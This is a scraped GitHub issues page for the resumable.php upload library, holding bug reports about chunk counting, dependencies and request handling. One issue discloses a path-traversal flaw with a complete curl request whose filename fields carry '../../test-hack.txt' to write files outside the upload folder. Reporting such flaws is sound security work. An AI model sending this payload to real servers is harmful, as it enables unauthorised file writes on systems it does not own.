dilab / resumable.php Goto Github PK
View Code? Open in Web Editor NEWPHP backend for resumable.js
Home Page: http://www.startutorial.com/articles/view/resumable-file-upload-part-1
License: MIT License
PHP backend for resumable.js
Home Page: http://www.startutorial.com/articles/view/resumable-file-upload-part-1
License: MIT License
in class Resumable function isFileUploadComplete()
for ($i = 1; $i < $numOfChunks; $i++) { // this suppose to be $i <= $numOfChunks;
if (!$this->isChunkUploaded($identifier, $filename, $i)) {
return false;
}
}
I tried uploading files when the $resumable->tempFolder
and $resumable->uploadFolder
were pointing to folders/files that didn't exist, and the server was still returning 200 for every call (regardless of testChunks on/off)
I have enhanced the library to be able to set custom final filename (or slugify it) but i'm not able to make a pull-request. Could you allow those ?
Thanks ++
Romain
this chunk of code on resumable.php at times fails with mkdir file exists please help
public function tmpChunkDir($identifier)
{
$tmpChunkDir = $this->tempFolder . DIRECTORY_SEPARATOR . $identifier;
if (!file_exists($tmpChunkDir)) {
mkdir($tmpChunkDir);
}
return $tmpChunkDir;
}
Hello, I fount that on some servers unable to load file with non english symbols in their names. I did changes in Resumable.php in method:
public function tmpChunkFilename($filename, $chunkNumber)
{
return md5($filename) . '.part' . $chunkNumber;
}
Just notice that even though file-size are exactly same, but checksum is different when I try to upload file large than chunk-size.
Hi,
I just installed this and gave it a test drive. A couple of things
process
function is a total black box. From the outside, I have absolutely no way of telling what just happened (test request? new upload? resumed? end?)Did I miss something? If not, do you have any plans to address this, or would you accept a patch adding this sort of features?
Cheers,
Yannick
So I installed this with composer, and turns out the dependencies were not right. So I changed the composer version to dev-master
, and now the code runs without errors but the files are nowhere to be seen.
I spent a few hours trying to fix this issue, to no avail. I decided to try a new backend script afterwards and it worked perfectly.
So I don't know what is wrong specifically but I'm pretty sure this repository isn't working out of the box right now, if you're trying to use it, beware.
@dilab, please see if you can update the code or add some information regarding this on the readme
Hello,
Composer Install Error:
[example@serve public_html]$ composer require dilab/resumable.php dev-master
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.
Problem 1
- Installation request for dilab/resumable.php dev-master -> satisfiable by dilab/resumable.php[dev-master].
- dilab/resumable.php dev-master requires monolog/monolog ^1.17 -> satisfiable by monolog/monolog[1.17.0, 1.17.1, 1.17.2, 1.18.0, 1.18.1, 1.18.2, 1.19.0, 1.20.0, 1.21.0, 1.22.0, 1.22.1, 1.23.0, 1.24.0, 1.25.0, 1.25.1, 1.25.2, 1.25.3, 1.x-dev] but these conflict with your requirements or minimum-stability.
Would it be reasonable to have a method to dictate what the uploaded file filename would be (instead of using the original filename)? I could probably come up with a PR if so
Hi @dilab
How can I contact you about the security vulnerability I found ?
Here is how to reproduce the vulnerability:
curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
--data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \
--compressed
The file will be created at ../../test-hack.txt relative to the upload path.
NOTE: it seems like it is not possible to overwrite files after version 0.1.4 because of (#27)
Affected repos: https://github.com/search?q=%22%24filename+.+%27.%27+.+str_pad%22&type=code
Hi @dilab ,
first Thanks for the convenient library you have made for the PHP backend of resumable j.
I have used it in my legacy projects,
but this year I wanted to use it again I have found the monolog version I had was different with dilab/resumale.php then I have improved and fixed a bug ...
now, I am trying to update the unit test codes to be upgraded and work with the latest phpunit.
I think this library is great and I want to revive & fresh it though.
so I was wondering how can I share my contributions ?
just make a PR with all changes or one-PR-per-one-improvement ?
Hi,
i encountered a small problem, not sure if it could be considered a bug.
I'm doing my upload with a POST request — as in, the HTTP header is set to post and the resumable data is in the POST body.
However, the URL I'm sending the POST request to has a GET param as well, ie. ``htttp://localhost/upload?token=lol`. Because of that, the SimpleRequest class in Resumable.php thinks it's a GET request, tried to load the params from GET and fails.
I think it would make sense to change the code here to use the HTTP header to detect the type of request rather than the ìsset()
call. What do you think? I can probably submit a PR if that's ok for you.
I strongly recommend, that you use
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");
instead of
header("HTTP/1.0 404 Not Found");
Inside SimpleResponse class.
Especially when we have HTTP/1.1 now everywhere...
I use this package with laravel, after last updating via composer I have got problems with .env files, coz new version of cake FS require cake core, that provide own env() helper, which disable default laravel env() helper and broke configuration parsing. I switched to cakephp/filesystem 3.5.4 and it works for me, now. But it crazy.
I followed the tutorial complete, and downloaded the source. I can get the UI correct with no errors now but I get a lot of errors.
When I try to use the code descibed in the tutorial , I get a bunch of error as follows:
``resumable.js:597 GET http://localhost/ResumableProj/upload.php?resumableChunkNumber=1&&resumableTotalChunks=215 500 (Internal Server Error)ResumableChunk.$.test @ resumable.js:597ResumableChunk.$.send @ resumable.js:616(anonymous function) @ resumable.js:788$h.each @ resumable.js:134(anonymous function) @ resumable.js:786$h.each @ resumable.js:134$.uploadNextChunk @ ....`
Please Advice.
Hi I followed the tutorial installing all the required components through bower and composer. And I get this error,
localhost/:8 GET http://localhost/ResumableProj/bower_components/resumablejs/resumable.js (index):51 Uncaught ReferenceError: Resumable is not defined(anonymous function) @ (index):51
.
Can you help ?
I use Laravel and AngularJS. I tested so much and nothing worked... first i startet with flow.js now ended with resumable ... i think i only have a last problem before it will work. I have this code:
...
use Dilab\Network\SimpleRequest as DilabSimpleRequest;
use Dilab\Network\SimpleResponse as DilabSimpleResponse;
use Dilab\Resumable as DilabResumable;
...
// Setup resumeable
$request = new DilabSimpleRequest();
$response = new DilabSimpleResponse();
$resumable = new DilabResumable($request, $response);
$resumable->tempFolder = $chunkDir;
$resumable->uploadFolder = $basicDir;
...
// Upload
$resumable->process();
...
What i found is that $request seems to be empty. If i do the following code, i dont get an object...
return json_encode([
'success' => $request
]);
Hope you can help me? :(
Just checked composer.json and monolog is included, but for some reason it didnt get installed with composer require ... o_O
I just updated my resumable.php package and noticed all my upload code stopped working. Looks like you added monolog support a few months ago and your class is trying to instantiate the monolog class in the constructor method. Monolog is defined as a dev dependency in your package though so it won't pull in when other users want to use your package.
I am trying to learn to work with Resumable.js, and I keep coming up with the following error:
ReferenceError: Resumable is not defined.
In addition, clicking the h1 browseButton tag does not give a response. I have not made any changes to the resumable.js file, and my html in the test file is as follows:
<script src="resumable.js" type="application/javascript"></script>
<script>
var r = new Resumable({
target: 'phptest.php',
});
r.assignBrowse(document.getElementById('browseButton'));
r.assignDrop(document.getElementById('browseButton'));
r.on('fileSuccess', function(file){
console.debug('fileSuccess',file);
});
r.on('fileProgress', function(file){
console.debug('fileProgress', file);
});
r.on('fileAdded', function(file, event){
r.upload();
console.debug('fileAdded', event);
});
r.on('filesAdded', function(array){
r.upload();
console.debug('filesAdded', array);
});
r.on('fileRetry', function(file){
console.debug('fileRetry', file);
});
r.on('fileError', function(file, message){
console.debug('fileError', file, message);
});
r.on('uploadStart', function(){
console.debug('uploadStart');
});
r.on('complete', function(){
console.debug('complete');
});
r.on('progress', function(){
console.debug('progress');
});
r.on('error', function(message, file){
console.debug('error', message, file);
});
r.on('pause', function(){
console.debug('pause');
});
r.on('cancel', function(){
console.debug('cancel');
});
</script>
<h1 id="browseButton">Select files</h1>
Hi There,
I'm curious to what the front-end would look like to get this to work. Are there any examples?
Thanks
Hi, i uploaded videos, the videos can not play
Installed with composer and used the upload.php code from under "How to use".
Large finished files under the uploads directory DO NOT match the originals. This makes the whole script useless.
I installed this package with composer and got a version with an outdated composer.json
(didn't include changes from #10).
Pretty please update?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.